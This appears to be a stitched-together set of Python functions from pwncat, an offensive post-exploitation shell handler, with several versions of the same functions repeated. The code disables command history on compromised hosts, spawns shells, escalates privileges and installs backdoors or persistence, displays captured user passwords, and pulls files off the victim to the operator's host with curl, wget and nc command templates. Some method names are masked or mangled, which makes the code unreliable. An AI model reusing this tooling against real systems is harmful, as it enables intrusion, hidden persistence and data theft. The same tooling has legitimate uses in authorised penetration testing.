def __init__(self, client: socket.SocketType): """ Initialize a new Pty Handler. This will handle creating the PTY and setting the local terminal to raw. It also maintains the state to open a local terminal if requested and exit raw mode. """ self.client = client self.state = "normal" self.saved_term_state = None self.input = b"" self.lhost = None self.known_binaries = {} self.vars = {"lhost": None} # Ensure history is disabled util.info("disabling remote command history", overlay=True) client.sendall(b"unset HISTFILE\n") util.info("setting terminal prompt", overlay=True) client.sendall(b'export PS1="(remote) \\u@\\h\\$ "\n\n') # Locate interesting binaries for name, friendly, priority in PtyHandler.INTERESTING_BINARIES: util.info(f"resolving remote binary: {name}", overlay=True) # We already found a preferred option if ( friendly in self.known_binaries and self.known_binaries[friendly][1] > priority ): continue # Look for the given binary response = self.run(f"which {shlex.quote(name)}", has_pty=False) if response == b"": continue self.known_binaries[friendly] = (response.decode("utf-8"), priority) for m, cmd in PtyHandler.OPEN_METHODS.items(): if m in self.known_binaries: method_cmd = cmd.format(self.known_binaries[m][0]) method = m break else: util.error("no available methods to spawn a pty!") raise RuntimeError("no available methods to spawn a pty!") # Open the PTY util.info(f"opening pseudoterminal via {method}", overlay=True) client.sendall(method_cmd.encode("utf-8") + b"\n") # Synchronize the terminals util.info("synchronizing terminal state", overlay=True) self.do_sync([]) # Force the local TTY to enter raw mode self.enter_raw()
def do_test(self, argv): util.info("Attempting to stream data to a remote file...") with self.open("/tmp/stream_test", "w") as filp: filp.write("It f*****g worked!") util.info("Attempting to stream the data back...") with self.open("/tmp/stream_test", "r") as filp: print(filp.read())
def run(self, args): if args.topic: for command in pwncat.victim.command_parser.commands: if command.PROG == args.topic: command.parser.print_help() break else: util.info("the following commands are available:") for command in pwncat.victim.command_parser.commands: print(f" * {command.PROG}")
def run(self, args): if args.key is None: util.info("currently assigned key-bindings:") for key, binding in pwncat.victim.config.bindings.items(): print( f" {Fore.CYAN}{key}{Fore.RESET} = {Fore.YELLOW}{repr(binding)}{Fore.RESET}" ) elif args.key is not None and args.script is None: if args.key in pwncat.victim.config.bindings: del pwncat.victim.config.bindings[args.key] else: pwncat.victim.config.bindings[args.key] = args.script
def run(self, args): if args.topic: for command in pwncat.victim.command_parser.commands: if command.PROG == args.topic: if command.parser is not None: command.parser.print_help() else: print(textwrap.dedent(command.__doc__).strip()) break else: util.info("the following commands are available:") for command in pwncat.victim.command_parser.commands: print(f" * {command.PROG}")
def do_set(self, argv): """ Set or view the currently assigned variables """ if len(argv) == 0: util.info("local variables:") for k, v in self.vars.items(): print(f" {k} = {shlex.quote(v)}") util.info("user passwords:") for user, data in self.users.items(): if data["password"] is not None: print( f" {Fore.GREEN}{user}{Fore.RESET} -> {Fore.CYAN}{shlex.quote(data['password'])}{Fore.RESET}" ) return parser = argparse.ArgumentParser(prog="set") parser.add_argument( "--password", "-p", action="store_true", help="set the password for the given user", ) parser.add_argument("variable", help="the variable name or user") parser.add_argument("value", help="the new variable/user password value") try: args = parser.parse_args(argv) except SystemExit: # The arguments were parsed incorrectly, return. return if args.password is not None and args.variable not in self.users: util.error(f"{args.variable}: no such user") elif args.password is not None: self.users[args.variable]["password"] = args.value else: self.vars[args.variable] = args.value
def run(self, args): if args.action == "install": pwncat.victim.bootstrap_busybox(args.url) elif args.action == "list": if pwncat.victim.host.busybox is None: util.error( "busybox hasn't been installed yet (hint: run 'busybox --install'" ) return util.info("binaries which the remote busybox provides:") # Find all binaries which are provided by busybox provides = pwncat.victim.session.query(pwncat.db.Binary).filter( pwncat.db.Binary.path.contains(pwncat.victim.host.busybox), pwncat.db.Binary.host_id == pwncat.victim.host.id, ) for binary in provides: print(f" * {binary.name}") elif args.action == "status": if pwncat.victim.host.busybox is None: util.error("busybox hasn't been installed yet") return util.info( f"busybox is installed to: {Fore.BLUE}{pwncat.victim.host.busybox}{Fore.RESET}" ) # Find all binaries which are provided from busybox nprovides = ( pwncat.victim.session.query(pwncat.db.Binary) .filter( pwncat.db.Binary.path.contains(pwncat.victim.host.busybox), pwncat.db.Binary.host_id == pwncat.victim.host.id, ) .with_entities(func.count()) .scalar() ) util.info(f"busybox provides {Fore.GREEN}{nprovides}{Fore.RESET} applets")
def run(self, args): if args.action == "list": if not pwncat.victim.has_busybox: util.error( "busybox hasn't been installed yet (hint: run 'busybox'") return util.info("binaries which the remote busybox provides:") for name in pwncat.victim.busybox_provides: print(f" * {name}") elif args.action == "status": if not pwncat.victim.has_busybox: util.error("busybox hasn't been installed yet") return util.info( f"busybox is installed to: {Fore.BLUE}{pwncat.victim.busybox_path}{Fore.RESET}" ) util.info( f"busybox provides {Fore.GREEN}{len(pwncat.victim.busybox_provides)}{Fore.RESET} applets" ) elif args.action == "install": pwncat.victim.bootstrap_busybox(args.url)
def do_busybox(self, args): """ Attempt to upload a busybox binary which we can use as a consistent interface to local functionality """ if args.action == "list": if not self.has_busybox: util.error( "busybox hasn't been installed yet (hint: run 'busybox'") return util.info("binaries which the remote busybox provides:") for name in self.busybox_provides: print(f" * {name}") elif args.action == "status": if not self.has_busybox: util.error("busybox hasn't been installed yet") return util.info( f"busybox is installed to: {Fore.BLUE}{self.busybox_path}{Fore.RESET}" ) util.info( f"busybox provides {Fore.GREEN}{len(self.busybox_provides)}{Fore.RESET} applets" ) elif args.action == "install": self.bootstrap_busybox(args.url, args.method)
def do_privesc(self, argv): """ Attempt privilege escalation """ parser = argparse.ArgumentParser(prog="privesc") parser.add_argument( "--list", "-l", action="store_true", help="do not perform escalation. list potential escalation methods", ) parser.add_argument( "--all", "-a", action="store_const", dest="user", const=None, help= "when listing methods, list for all users. when escalating, escalate to root.", ) parser.add_argument( "--user", "-u", choices=[user for user in self.users], default="root", help="the target user", ) parser.add_argument( "--max-depth", "-m", type=int, default=None, help="Maximum depth for the privesc search (default: no maximum)", ) parser.add_argument( "--read", "-r", type=str, default=None, help="remote filename to try and read", ) parser.add_argument( "--write", "-w", type=str, default=None, help="attempt to write to a remote file as the specified user", ) parser.add_argument( "--data", "-d", type=str, default=None, help="the data to write a file. ignored if not write mode", ) parser.add_argument( "--text", "-t", action="store_true", default=False, help="whether to use safe readers/writers", ) try: args = parser.parse_args(argv) except SystemExit: # The arguments were parsed incorrectly, return. return if args.list: techniques = self.privesc.search(args.user) if len(techniques) == 0: util.warn("no techniques found") else: for tech in techniques: util.info(f" - {tech}") elif args.read: try: read_pipe, chain = self.privesc.read_file( args.read, args.user, args.max_depth) # Read the data from the pipe sys.stdout.buffer.write(read_pipe.read(4096)) read_pipe.close() # Unwrap in case we had to privesc to get here self.privesc.unwrap(chain) except privesc.PrivescError as exc: util.error(f"read file failed: {exc}") elif args.write: if args.data is None: util.error("no data specified") else: if args.data.startswith("@"): with open(args.data[1:], "rb") as f: data = f.read() else: data = args.data.encode("utf-8") try: chain = self.privesc.write_file( args.write, data, safe=not args.text, target_user=args.user, depth=args.max_depth, ) self.privesc.unwrap(chain) util.success("file written successfully!") except privesc.PrivescError as exc: util.error(f"file write failed: {exc}") else: try: chain = self.privesc.escalate(args.user, args.max_depth) ident = self.id backdoor = False if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0: util.progress( "EUID != UID. installing backdoor to complete privesc") try: self.privesc.add_backdoor() backdoor = True except privesc.PrivescError as exc: util.warn(f"backdoor installation failed: {exc}") util.success("privilege escalation succeeded using:") for i, (technique, _) in enumerate(chain): arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} " print(f"{(i+1)*' '}{arrow}{technique}") if backdoor: print((f"{(len(chain)+1)*' '}{arrow}" f"{Fore.YELLOW}pwncat{Fore.RESET} backdoor")) self.reset() self.do_back([]) except privesc.PrivescError as exc: util.error(f"escalation failed: {exc}")
def __init__(self, client: socket.SocketType, has_pty: bool = False): """ Initialize a new Pty Handler. This will handle creating the PTY and setting the local terminal to raw. It also maintains the state to open a local terminal if requested and exit raw mode. """ self.client = client self.state = "normal" self.saved_term_state = None self.input = b"" self.lhost = None self.known_binaries = {} self.known_users = {} self.vars = {"lhost": util.get_ip_addr()} self.remote_prefix = "\\[\\033[01;31m\\](remote)\\033[00m\\]" self.remote_prompt = ("\\[\\033[01;33m\\]\\u@\\h\\[\\033[00m\\]:\\[" "\\033[01;36m\\]\\w\\[\\033[00m\\]\\$ ") self.prompt = self.build_prompt_session() self.has_busybox = False self.busybox_path = None self.binary_aliases = { "python": [ "python2", "python3", "python2.7", "python3.6", "python3.8", "python3.9", ], "sh": ["bash", "zsh", "dash"], "nc": ["netcat", "ncat"], } self.has_pty = has_pty # Setup the argument parsers for local the local prompt self.setup_command_parsers() # We should always get a response within 3 seconds... self.client.settimeout(1) util.info("probing for prompt...", overlay=True) start = time.time() prompt = b"" try: while time.time() < (start + 0.1): prompt += self.client.recv(1) except socket.timeout: pass # We assume if we got data before sending data, there is a prompt if prompt != b"": self.has_prompt = True util.info(f"found a prompt", overlay=True) else: self.has_prompt = False util.info("no prompt observed", overlay=True) # Send commands without a new line, and see if the characters are echoed util.info("checking for echoing", overlay=True) test_cmd = b"echo" self.client.send(test_cmd) response = b"" try: while len(response) < len(test_cmd): response += self.client.recv(len(test_cmd) - len(response)) except socket.timeout: pass if response == test_cmd: self.has_echo = True util.info("found input echo", overlay=True) else: self.has_echo = False util.info(f"no echo observed", overlay=True) self.client.send(b"\n") response = self.client.recv(1) if response == "\r": self.client.recv(1) self.has_cr = True else: self.has_cr = False if self.has_echo: self.recvuntil(b"\n") # Ensure history is disabled util.info("disabling remote command history", overlay=True) self.run("unset HISTFILE; export HISTCONTROL=ignorespace") util.info("setting terminal prompt", overlay=True) self.run("unset PROMPT_COMMAND") self.run(f'export PS1="{self.remote_prefix} {self.remote_prompt}"') self.shell = self.run("ps -o command -p $$ | tail -n 1").decode( "utf-8").strip() self.shell = self.which(self.shell.split(" ")[0]) util.info(f"running in {Fore.BLUE}{self.shell}{Fore.RESET}") # Locate interesting binaries # The auto-resolving doesn't work correctly until we have a pty # so, we manually resolve a list of useful binaries prior to spawning # a pty for name in PtyHandler.INTERESTING_BINARIES: util.info( f"resolving remote binary: {Fore.YELLOW}{name}{Fore.RESET}", overlay=True, ) # Look for the given binary response = self.run(f"which {shlex.quote(name)}").strip() if response == b"": continue self.known_binaries[name] = response.decode("utf-8") # Now, we can resolve using `which` w/ request=False for the different # methods for m, cmd in PtyHandler.OPEN_METHODS.items(): if self.which(m, request=False) is not None: method_cmd = cmd.format(self.which(m, request=False), self.shell) method = m break else: util.error("no available methods to spawn a pty!") raise RuntimeError("no available methods to spawn a pty!") # Open the PTY util.info( f"opening pseudoterminal via {Fore.GREEN}{method}{Fore.RESET}", overlay=True) self.run(method_cmd, wait=False) # client.sendall(method_cmd.encode("utf-8") + b"\n") # We just started a PTY, so we now have all three self.has_echo = True self.has_cr = True self.has_prompt = True util.info("setting terminal prompt", overlay=True) self.run("unset PROMPT_COMMAND") self.run(f'export PS1="{self.remote_prefix} {self.remote_prompt}"') # Make sure HISTFILE is unset in this PTY (it resets when a pty is # opened) self.run("unset HISTFILE; export HISTCONTROL=ignorespace") # Disable automatic margins, which f**k up the prompt self.run("tput rmam") # Synchronize the terminals util.info("synchronizing terminal state", overlay=True) self.do_sync([]) self.privesc = privesc.Finder(self) # Attempt to identify architecture self.arch = self.run("uname -m").decode("utf-8").strip() # Force the local TTY to enter raw mode self.enter_raw()
def do_upload(self, argv): """ Upload a file to the remote host """ downloaders = { "curl": ("http", "curl --output {outfile} http://{lhost}:{lport}/{lfile}"), "wget": ("http", "wget -O {outfile} http://{lhost}:{lport}/{lfile}"), "nc": ("raw", "nc {lhost} {lport} > {outfile}"), } servers = {"http": util.serve_http_file, "raw": util.serve_raw_file} parser = argparse.ArgumentParser(prog="upload") parser.add_argument( "--method", "-m", choices=downloaders.keys(), default=None, help="set the download method (default: auto)", ) parser.add_argument( "--output", "-o", default="./{basename}", help="path to the output file (default: basename of input)", ) parser.add_argument("path", help="path to the file to upload") try: args = parser.parse_args(argv) except SystemExit: # The arguments were parsed incorrectly, return. return if self.vars.get("lhost", None) is None: util.error("[!] you must provide an lhost address for reverse connections!") return if not os.path.isfile(args.path): util.error(f"[!] {args.path}: no such file or directory") return if args.method is not None and args.method not in self.known_binaries: util.error(f"{args.method}: method unavailable") elif args.method is not None: method = downloaders[args.method] else: method = None for m, info in downloaders.items(): if m in self.known_binaries: util.info("uploading via {m}") method = info break else: util.warn( "no available upload methods. falling back to echo/base64 method" ) path = args.path basename = os.path.basename(args.path) name = basename outfile = args.output.format(basename=basename) with ProgressBar("uploading") as pb: counter = pb(range(os.path.getsize(path))) last_update = time.time() def on_progress(copied, blocksz): """ Update the progress bar """ counter.items_completed += blocksz if counter.items_completed >= counter.total: counter.done = True counter.stopped = True if (time.time() - last_update) > 0.1: pb.invalidate() if method is not None: server = servers[method[0]](path, name, progress=on_progress) command = method[1].format( outfile=shlex.quote(outfile), lhost=self.vars["lhost"], lfile=name, lport=server.server_address[1], ) result = self.run(command, wait=False) else: server = None with open(path, "rb") as fp: self.run(f"echo -n > {outfile}") copied = 0 for chunk in iter(lambda: fp.read(8192), b""): encoded = base64.b64encode(chunk).decode("utf-8") self.run(f"echo -n {encoded} | base64 -d >> {outfile}") copied += len(chunk) on_progress(copied, len(chunk)) try: while not counter.done: time.sleep(0.1) except KeyboardInterrupt: pass finally: if server is not None: server.shutdown() # https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964 time.sleep(0.1)
def connect(self, client: socket.SocketType): # Initialize the socket connection self.client = client # We should always get a response within 3 seconds... self.client.settimeout(1) # Attempt to identify architecture self.arch = self.run("uname -m").decode("utf-8").strip() if self.arch == "amd64": self.arch = "x86_64" # Ensure history is disabled util.info("disabling remote command history", overlay=True) self.run("unset HISTFILE; export HISTCONTROL=ignorespace") util.info("setting terminal prompt", overlay=True) self.run("unset PROMPT_COMMAND") self.run(f'export PS1="{self.remote_prefix} {self.remote_prompt}"') self.shell = self.run("ps -o command -p $$ | tail -n 1").decode("utf-8").strip() self.shell = self.which(self.shell.split(" ")[0]) util.info(f"running in {Fore.BLUE}{self.shell}{Fore.RESET}") # Locate interesting binaries # The auto-resolving doesn't work correctly until we have a pty # so, we manually resolve a list of useful binaries prior to spawning # a pty for name in Victim.INTERESTING_BINARIES: util.info( f"resolving remote binary: {Fore.YELLOW}{name}{Fore.RESET}", overlay=True, ) # Look for the given binary response = self.run(f"which {shlex.quote(name)}").strip() if response == b"": continue self.known_binaries[name] = response.decode("utf-8") # Now, we can resolve using `which` w/ request=False for the different # methods if self.which("python") is not None: method_cmd = Victim.OPEN_METHODS["python"].format( self.which("python"), self.shell ) method = "python" elif self.which("script") is not None: result = self.run("script --version") if b"linux" in result: method_cmd = f"exec script -qc {self.shell} /dev/null" method = "script (util-linux)" else: method_cmd = f"exec script -q /dev/null {self.shell}" method = "script (probably bsd)" method = "script" else: util.error("no available methods to spawn a pty!") raise RuntimeError("no available methods to spawn a pty!") # Open the PTY util.info( f"opening pseudoterminal via {Fore.GREEN}{method}{Fore.RESET}", overlay=True ) self.run(method_cmd, wait=False) # client.sendall(method_cmd.encode("utf-8") + b"\n") util.info("setting terminal prompt", overlay=True) self.run("unset PROMPT_COMMAND") self.run(f'export PS1="{self.remote_prefix} {self.remote_prompt}"') # Make sure HISTFILE is unset in this PTY (it resets when a pty is # opened) self.run("unset HISTFILE; export HISTCONTROL=ignorespace") # Disable automatic margins, which f**k up the prompt self.run("tput rmam") self.privesc = privesc.Finder() # Save our terminal state self.stty_saved = self.run("stty -g").decode("utf-8").strip() # The session is fully setup now self.command_parser.loaded = True # Synchronize the terminals self.command_parser.dispatch_line("sync") # Force the local TTY to enter raw mode self.state = State.RAW
def main(): # Default log-level is "INFO" logging.getLogger().setLevel(logging.INFO) # Ensure our GTFObins data is loaded gtfobins.Binary.load("data/gtfobins.json") parser = argparse.ArgumentParser(prog="pwncat") mutex_group = parser.add_mutually_exclusive_group(required=True) mutex_group.add_argument( "--reverse", "-r", action="store_const", dest="type", const="reverse", help="Listen on the specified port for connections from a remote host", ) mutex_group.add_argument( "--bind", "-b", action="store_const", dest="type", const="bind", help="Connect to a remote host", ) parser.add_argument( "--host", "-H", type=str, help=( "Bind address for reverse connections. Remote host for bind connections (default: 0.0.0.0)" ), default="0.0.0.0", ) parser.add_argument( "--port", "-p", type=int, help="Bind port for reverse connections. Remote port for bind connections", required=True, ) parser.add_argument( "--method", "-m", choices=[*PtyHandler.OPEN_METHODS.keys()], help="Method to create a pty on the remote host (default: script)", default="script", ) args = parser.parse_args() if args.type == "reverse": # Listen on a socket for connections util.info(f"binding to {args.host}:{args.port}", overlay=True) server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind((args.host, args.port)) # After the first connection, drop further attempts server.listen(1) # Wait for a single connection try: (client, address) = server.accept() except KeyboardInterrupt: util.warn(f"aborting listener...") sys.exit(0) elif args.type == "bind": util.info(f"connecting to {args.host}:{args.port}", overlay=True) client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((args.host, args.port)) address = (args.host, args.port) util.info(f"connection to {address[0]}:{address[1]} established", overlay=True) # Create a PTY handler to proctor communications with the remote PTY handler = PtyHandler(client) # Setup the selector to wait for data asynchronously from both streams selector = selectors.DefaultSelector() selector.register(sys.stdin, selectors.EVENT_READ, None) selector.register(client, selectors.EVENT_READ, "read") # Initialize our state done = False try: while not done: for k, _ in selector.select(): if k.fileobj is sys.stdin: data = sys.stdin.buffer.read(8) handler.process_input(data) else: data = handler.recv() if data is None or len(data) == 0: done = True break sys.stdout.buffer.write(data) sys.stdout.flush() except ConnectionResetError: handler.restore() util.warn("connection reset by remote host") finally: # Restore the shell handler.restore()
def run(self, args): if args.action == "list": techniques = pwncat.victim.privesc.search(args.user) if len(techniques) == 0: util.warn("no techniques found") else: for tech in techniques: util.info(f" - {tech}") elif args.action == "read": if not args.path: self.parser.error("missing required argument: --path") try: read_pipe, chain = pwncat.victim.privesc.read_file( args.path, args.user, args.max_depth) util.success("file successfully opened!") # Read the data from the pipe shutil.copyfileobj(read_pipe, sys.stdout.buffer) read_pipe.close() # Unwrap in case we had to privesc to get here pwncat.victim.privesc.unwrap(chain) except privesc.PrivescError as exc: util.error(f"read file failed: {exc}") elif args.action == "write": # Make sure the correct arguments are present if not args.path: self.parser.error("missing required argument: --path") if not args.data: self.parser.error("missing required argument: --data") # Read in the data file try: with open(args.data, "rb") as f: data = f.read() except PermissionError: self.parser.error(f"no local permission to read: {args.data}") try: # Attempt to write the data to the remote file chain = pwncat.victim.privesc.write_file( args.path, data, target_user=args.user, depth=args.max_depth, ) pwncat.victim.privesc.unwrap(chain) util.success("file written successfully!") except privesc.PrivescError as exc: util.error(f"file write failed: {exc}") elif args.action == "escalate": try: chain = pwncat.victim.privesc.escalate(args.user, args.max_depth) ident = pwncat.victim.id if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0: util.progress( "mismatched euid and uid; attempting backdoor installation." ) for method in pwncat.victim.persist.available: if not method.system or not method.local: continue try: # Attempt to install this persistence method pwncat.victim.persist.install(method.name) if not method.escalate(): # The escalation didn't work, remove it and try the next pwncat.victim.persist.remove(method.name) continue chain.append(( f"{method.format()} ({Fore.CYAN}euid{Fore.RESET} correction)", "exit", )) break except PersistenceError: continue util.success("privilege escalation succeeded using:") for i, (technique, _) in enumerate(chain): arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} " print(f"{(i+1)*' '}{arrow}{technique}") pwncat.victim.reset() pwncat.victim.state = State.RAW except privesc.PrivescError as exc: util.error(f"escalation failed: {exc}")
def main(): # Default log-level is "INFO" logging.getLogger().setLevel(logging.INFO) parser = argparse.ArgumentParser(prog="pwncat") mutex_group = parser.add_mutually_exclusive_group(required=True) mutex_group.add_argument( "--reverse", "-r", action="store_const", dest="type", const="reverse", help="Listen on the specified port for connections from a remote host", ) mutex_group.add_argument( "--bind", "-b", action="store_const", dest="type", const="bind", help="Connect to a remote host", ) parser.add_argument( "--host", "-H", type=str, help= ("Bind address for reverse connections. Remote host for bind connections (default: 0.0.0.0)" ), default="0.0.0.0", ) parser.add_argument( "--port", "-p", type=int, help= "Bind port for reverse connections. Remote port for bind connections", required=True, ) parser.add_argument( "--method", "-m", choices=[*Victim.OPEN_METHODS.keys()], help="Method to create a pty on the remote host (default: script)", default="script", ) parser.add_argument("--config", "-c", help="Configuration script", default=None) args = parser.parse_args() # Build the victim object pwncat.victim = Victim(args.config) # Run the configuration script if args.config: with open(args.config, "r") as filp: config_script = filp.read() pwncat.victim.command_parser.eval(config_script, args.config) if args.type == "reverse": # Listen on a socket for connections util.info(f"binding to {args.host}:{args.port}", overlay=True) server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind((args.host, args.port)) # After the first connection, drop further attempts server.listen(1) # Wait for a single connection try: (client, address) = server.accept() except KeyboardInterrupt: util.warn(f"aborting listener...") sys.exit(0) elif args.type == "bind": util.info(f"connecting to {args.host}:{args.port}", overlay=True) # client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # client.connect((args.host, args.port)) client = socket.create_connection((args.host, args.port)) address = (args.host, args.port) else: parser.error("must specify a valid connection type!") sys.exit(1) util.info(f"connection to {address[0]}:{address[1]} established", overlay=True) # Connect and initialize the remote victim pwncat.victim.connect(client) # Setup the selector to wait for data asynchronously from both streams selector = selectors.DefaultSelector() selector.register(sys.stdin, selectors.EVENT_READ, None) selector.register(client, selectors.EVENT_READ, "read") # Initialize our state done = False try: while not done: for k, _ in selector.select(): if k.fileobj is sys.stdin: data = sys.stdin.buffer.read(8) pwncat.victim.process_input(data) else: data = pwncat.victim.recv() if data is None or len(data) == 0: done = True break sys.stdout.buffer.write(data) sys.stdout.flush() except ConnectionResetError: pwncat.victim.restore_local_term() util.warn("connection reset by remote host") finally: # Restore the shell pwncat.victim.restore_local_term() try: # Make sure everything was committed pwncat.victim.session.commit() except InvalidRequestError: pass util.success("local terminal restored")
def run(self, args): if args.action == "list": techniques = pwncat.victim.privesc.search(args.user) if len(techniques) == 0: util.warn("no techniques found") else: for tech in techniques: util.info(f" - {tech}") elif args.action == "read": if not args.path: self.parser.error("missing required argument: --path") try: read_pipe, chain = pwncat.victim.privesc.read_file( args.path, args.user, args.max_depth) util.success("file successfully opened!") # Read the data from the pipe shutil.copyfileobj(read_pipe, sys.stdout.buffer) read_pipe.close() # Unwrap in case we had to privesc to get here pwncat.victim.privesc.unwrap(chain) except privesc.PrivescError as exc: util.error(f"read file failed: {exc}") elif args.action == "write": # Make sure the correct arguments are present if not args.path: self.parser.error("missing required argument: --path") if not args.data: self.parser.error("missing required argument: --data") # Read in the data file with open(args.data, "rb") as f: data = f.read() try: # Attempt to write the data to the remote file chain = pwncat.victim.privesc.write_file( args.path, data, target_user=args.user, depth=args.max_depth, ) pwncat.victim.privesc.unwrap(chain) util.success("file written successfully!") except privesc.PrivescError as exc: util.error(f"file write failed: {exc}") elif args.action == "escalate": try: chain = pwncat.victim.privesc.escalate(args.user, args.max_depth) ident = pwncat.victim.id backdoor = False if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0: util.progress( "EUID != UID. installing backdoor to complete privesc") try: pwncat.victim.privesc.add_backdoor() backdoor = True except privesc.PrivescError as exc: util.warn(f"backdoor installation failed: {exc}") util.success("privilege escalation succeeded using:") for i, (technique, _) in enumerate(chain): arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} " print(f"{(i+1)*' '}{arrow}{technique}") if backdoor: print((f"{(len(chain)+1)*' '}{arrow}" f"{Fore.YELLOW}pwncat{Fore.RESET} backdoor")) pwncat.victim.reset() pwncat.victim.state = State.RAW except privesc.PrivescError as exc: util.error(f"escalation failed: {exc}")
def do_download(self, argv): uploaders = { "XXXXX": ( "http", "curl -X POST --data @{remote_file} http://{lhost}:{lport}/{lfile}", ), "XXXX": ( "http", "wget --post-file {remote_file} http://{lhost}:{lport}/{lfile}", ), "nxc": ("raw", "nc {lhost} {lport} < {remote_file}"), } servers = {"http": util.receive_http_file, "raw": util.receive_raw_file} parser = argparse.ArgumentParser(prog="upload") parser.add_argument( "--method", "-m", choices=uploaders.keys(), default=None, help="set the upload method (default: auto)", ) parser.add_argument( "--output", "-o", default="./{basename}", help="path to the output file (default: basename of input)", ) parser.add_argument("path", help="path to the file to download") try: args = parser.parse_args(argv) except SystemExit: # The arguments were parsed incorrectly, return. return if self.vars.get("lhost", None) is None: util.error("[!] you must provide an lhost address for reverse connections!") return if args.method is not None and args.method not in self.known_binaries: util.error(f"{args.method}: method unavailable") elif args.method is not None: method = uploaders[args.method] else: method = None for m, info in uploaders.items(): if m in self.known_binaries: util.info(f"downloading via {m}") method = info break else: util.warn( "no available upload methods. falling back to dd/base64 method" ) path = args.path basename = os.path.basename(args.path) name = basename outfile = args.output.format(basename=basename) # Get the remote file size size = self.run(f'stat -c "%s" {shlex.quote(path)} 2>/dev/null || echo "none"') if b"none" in size: util.error(f"{path}: no such file or directory") return size = int(size) with ProgressBar("downloading") as pb: counter = pb(range(os.path.getsize(path))) last_update = time.time() def on_progress(copied, blocksz): """ Update the progress bar """ counter.items_completed += blocksz if counter.items_completed >= counter.total: counter.done = True counter.stopped = True if (time.time() - last_update) > 0.1: pb.invalidate() if method is not None: server = servers[method[0]](outfile, name, progress=on_progress) command = method[1].format( remote_file=shlex.quote(path), lhost=self.vars["lhost"], lfile=name, lport=server.server_address[1], ) print(command) result = self.run(command, wait=False) else: server = None with open(outfile, "wb") as fp: copied = 0 for chunk_nr in range(0, size, 8192): encoded = self.run( f"dd if={shlex.quote(path)} bs=8192 count=1 skip={chunk_nr} 2>/dev/null | base64" ) chunk = base64.b64decode(encoded) fp.write(chunk) copied += len(chunk) on_progress(copied, len(chunk)) try: while not counter.done: time.sleep(0.1) except KeyboardInterrupt: pass finally: if server is not None: server.shutdown() # https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964 time.sleep(0.1)